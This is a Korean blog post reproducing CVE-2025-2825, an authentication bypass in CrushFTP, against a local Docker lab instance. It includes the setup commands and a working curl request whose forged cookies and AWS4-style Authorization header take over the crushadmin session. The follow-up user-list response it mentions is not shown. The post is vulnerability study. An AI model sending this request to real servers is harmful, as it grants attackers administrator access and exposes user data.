CVE-2025-2825 CrushFTP PoC

안우진·2025년 4월 5일
0

CVE

목록 보기
2/2

[CVE-2025-2825 CrushFTP 개요]

CrushFTP versions 10.0.0 through 10.8.3 and 11.0.0 through 11.3.0
최신 공개된 취약점으로, Vulhub에 존재하지 않아 환경을 직접 구성했습니다.
PoC를 위해 해당 버전의 CrushFTP를 구합니다.
공식 홈페이지에는 업데이트된 프로그램을 배포하여, Github(NetLah)에 올라온 자료를 사용했습니다.

Github 프로젝트를 pull받고

mkdir ~/crushftp-data
docker run -p 21:21 -p 443:443 -p 20000-20100:20000-20100 -p 2222:2222 -p 8080:8080 -p 9090:9090 -v ~/crushftp-data:/var/opt/crushftp --name crushftp netlah/crushftp:latest

를 수행했습니다.

docker start crushftp
awj1052@DESKTOP-54VR2KA:~/docker-crushftp# docker logs crushftp
   ___             _    ___ _____ ___   _  __
  / __|_ _ _  _ __| |_ | __|_   _| _ \ / |/  \
 | (__| '_| || (_-< ' \| _|  | | |  _/ | | () |
  \___|_|  \_,_/__/_||_|_|   |_| |_|   |_|\__/

CrushFTP 10, Alpine Linux v3.19
openjdk version "17.0.11" 2024-04-16
OpenJDK Runtime Environment Temurin-17.0.11+9 (build 17.0.11+9)
OpenJDK 64-Bit Server VM Temurin-17.0.11+9 (build 17.0.11+9, mixed mode, sharing)
Build Time: 2024-06-27 01:52:22 UTC
Start Time: 2025-04-05 05:49:34 UTC
2025-04-05T05:49:34+0000 Initializing...
2025-04-05T05:49:34+0000 Copy source application...
2025-04-05T05:49:34+0000 Creating admin user crushadmin...
2025-04-05T05:49:34+0000 Admin user written to:./users/MainUsers/
2025-04-05T05:49:35+0000 Starting CrushFTP... OK
2025-04-05T05:49:35+0000 Waiting server starting...
########################################
# Started:    2025-04-05T05:49:36+0000
# User:       crushadmin
# Password:   ****************
########################################

이후 attackerkb.com/topics/k0EgiL9Psz/cve-2025-2825/rapid7-analysis 처럼 HTTP(S) 요청을 보냅니다.

#!/bin/sh
curl -X GET 'http://localhost:8080/WebInterface/function/?command=getUsername&c2f=3HLa' \
  -H 'Host: localhost:8080' \
  -H 'X-Requested-With: XMLHttpRequest' \
  -H 'Accept-Language: en-US,en;q=0.9' \
  -H 'Accept: */*' \
  -H 'User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36' \
  -H 'Accept-Encoding: gzip, deflate, br' \
  -H 'Cookie: showRightRail=false; DoNotShowFTU=true; currentAuth=3HLa; CrushAuth=1742972465863_IdzGfLNkZvdjv2ew1O9txCFnwe3HLa;' \
  -H 'Authorization: AWS4-HMAC-SHA256 Credential=crushadmin/' \
  -H 'Connection: keep-alive'

임의의 쿠키값(CrushAuth, currentAuth, query의 c2f)으로 요청을 보내면,
최초의 요청은 Authorization과 Credential으로 Authentication Bypass에 의해 넣어준 쿠키값들이 해당 Credential의 쿠키로 설정됩니다. 이 때 응답은 없습니다.


이후 넣어준 쿠키를 가지고 그 사용자처럼 서비스를 이용할 수 있습니다.

예를 들어,
첫번째 요청에 admin(crushadmin)으로 쿠키를 설정한 후
두번째 요청에 command=getUserList&serverGroup=MainUsers 쿼리를 요청하면

와 같은 응답을 받을 수 있습니다.

0개의 댓글